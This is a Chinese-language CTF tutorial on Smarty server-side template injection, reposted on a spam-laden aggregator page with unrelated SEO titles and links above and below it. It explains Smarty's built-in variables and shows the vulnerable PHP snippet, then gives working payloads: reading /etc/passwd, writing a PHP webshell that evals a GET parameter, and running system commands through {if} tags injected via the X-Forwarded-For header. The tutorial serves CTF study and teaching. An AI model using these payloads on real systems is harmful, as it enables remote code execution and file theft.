当前位置: 首页 > news >正文

58徐州网站建设福州专业网站设计公司

58徐州网站建设,福州专业网站设计公司,家装公司网站建设方案,搭建是什么意思Smarty 了解 是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)但是,实际上对语言的…

Smarty

了解

是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,$smarty内置变量可用于访问各种环境变量,

$Smarty内置变量:

  • 模板变量:如 $smarty.get$smarty.post$smarty.cookies 等,用于访问 HTTP 请求中的 GET、POST、COOKIE 数据。

  • 环境变量:如 $smarty.server$smarty.env 等,用于访问服务器和环境变量。

  • 配置变量:如 $smarty.config,用于访问配置文件中的变量。

  • 当前模板信息:如 $smarty.template,用于访问当前模板的信息。

  • 其他 Smarty 功能:如 $smarty.now 获取当前时间戳,$smarty.const 访问 PHP 常量等。

再举个例子:smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流

getStreamVariable($variable) 是 Smarty 内部的一个方法,位于 smarty/libs/sysplugins/smarty_internal_data.php 文件中。这个方法用于获取流变量(stream variable),通常用于处理文件流或网络流等资源。

方法签名:

public function getStreamVariable($variable)

参数:

  • $variable:要获取的流变量的名称。

返回值:

  • 返回流变量的内容。

使用场景:

getStreamVariable() 方法通常用于在模板中获取外部资源的内容,比如读取远程文件、数据库流等。你可以通过 $smarty 变量调用这个方法。

使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法,因此我们可以用这个方法读文件,payload:

{self::getStreamVariable("file:///etc/passwd")}

新版本smarty已将该静态方法删除(666后面做提的时候才发现)

再举个例子:smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File 这个类中有一个writeFile方法

class Smarty_Internal_Write_File
{/*** Writes file in a safe way to disk** @param  string $_filepath complete filepath* @param  string $_contents file content* @param  Smarty $smarty    smarty instance** @throws SmartyException* @return boolean true*/public function writeFile($_filepath, $_contents, Smarty $smarty){$_error_reporting = error_reporting();error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);if ($smarty->_file_perms !== null) {$old_umask = umask(0);}$_dirpath = dirname($_filepath);// if subdirs, create dir structureif ($_dirpath !== '.' && !file_exists($_dirpath)) {mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);}// write to tmp file, then move to overt file lock race condition$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));if (!file_put_contents($_tmp_file, $_contents)) {error_reporting($_error_reporting);throw new SmartyException("unable to write file {$_tmp_file}");}/** Windows' rename() fails if the destination exists,* Linux' rename() properly handles the overwrite.* Simply unlink()ing a file might cause other processes* currently reading that file to fail, but linux' rename()* seems to be smart enough to handle that for us.*/if (Smarty::$_IS_WINDOWS) {// remove original fileif (is_file($_filepath)) {@unlink($_filepath);}// rename tmp file$success = @rename($_tmp_file, $_filepath);} else {// rename tmp file$success = @rename($_tmp_file, $_filepath);if (!$success) {// remove original fileif (is_file($_filepath)) {@unlink($_filepath);}// rename tmp file$success = @rename($_tmp_file, $_filepath);}}if (!$success) {error_reporting($_error_reporting);throw new SmartyException("unable to write file {$_filepath}");}if ($smarty->_file_perms !== null) {// set file permissionschmod($_filepath, $smarty->_file_perms);umask($old_umask);}error_reporting($_error_reporting);return true;}
}

writeFile 方法的主要功能是:

  • 将内容安全地写入指定文件。

  • 确保文件写入的原子性(通过临时文件和重命名操作)。

  • 处理文件写入过程中的错误(如权限不足、磁盘空间不足等)。

  • 支持自定义目录和文件权

构造payload:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}

例题

看最下面,是Smarty模板,右上角显示了ip,由题目可以知道ip受XFF控制,试试添加XFF

ip改成1了,所以可以控制XFF来输入恶意语句,看了别人wp说smarty中的{if}标签中可以执行php语句,所以构造payload:

{{system('cat /flag')}}
{if readfile('/flag')}{/if}
{if system('cat /flag')}{/if}

这几个试过都行

本题中引发SSTI的代码简化后如下:

<?phprequire_once('./smarty/libs/' . 'Smarty.class.php');$smarty = new Smarty();$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];$smarty->display("string:".$ip);     // display函数把标签替换成对象的php变量;显示模板
}

 可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。

  1. $_SERVER['HTTP_X_FORWARDED_FOR']

    • 从 HTTP 请求头中获取 X-Forwarded-For 的值。

    • 该值由客户端控制,可能包含恶意输入。

  2. $smarty->display("string:".$ip)

    • display 函数用于渲染模板。

    • "string:" 表示将后续字符串作为模板内容直接解析。

    • 这里将用户输入的 $ip 直接拼接到模板中。

Smarty-SSTI常规利用方式:

1.

{$smarty.version}  #获取smarty的版本号

2.

<script language="php">phpinfo();</script>   

但是这种写法只适用于php5环境

3.

{self::getStreamVariable("file:///etc/passwd")}

这个的使用看前面例子里有

4.

{if phpinfo()}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}*

http://www.dtcms.com/a/451000.html

相关文章:

  • 平湖公司做网站微信营销典型案例
  • 互联网网站运营推广为国外的公司提供网站建设 维护
  • 手机 网站开发软件百度运营平台
  • 优化网站标题名词解释高端网站建设公司兴田德润可以不
  • cms网站开发php网址提交收录
  • 在线购物网站建设流程图百度竞价排名又叫什么
  • 做外贸可以用哪些网站收费下载资源 网银支付宝 wordpress插件
  • 网站 动态 静态360建筑网发的消息怎么取消
  • C语言自学--动态内存管理
  • 重庆人居建设集团网站网络编程有哪些
  • 滨州网站建设九鲁体育西网站开发方案
  • 成都网站建设 3e网站建设wordpress seo 优化插件
  • 汽油价格网长沙网站优化排名推广
  • 四川城乡建设厅官方网站关于营销的网站有哪些
  • 山东大源建设集团网站wordpress cn
  • 外贸服饰网站建设网络教室网站建设
  • 算法学习 || 动态规划(买卖股票的最佳时机)
  • mRemoteNG下载安装配置教程(附安装包)
  • 山东网站营销推广费用网站电话改了子页怎么改
  • 做电器哪个网站好保定seo排名
  • I.MX8QM创建wic镜像文件
  • 做塑料的网站名字ui网页界面设计素材
  • 哪一款软件可以自己做网站免费申请自己的网站
  • 显示英文以及字符
  • 邯郸网站建设怎么做手机访问自动跳转到wap网站的代码
  • 网站备案知识做网站界面设计注意什么
  • 专业的饰品行业网站开发网站建设推广销售人员
  • 沈阳哪家网站制作公司比较好云南建设厅查证网站
  • Memcached stats sizes 命令详解
  • 大连网站制作案例口碑营销ppt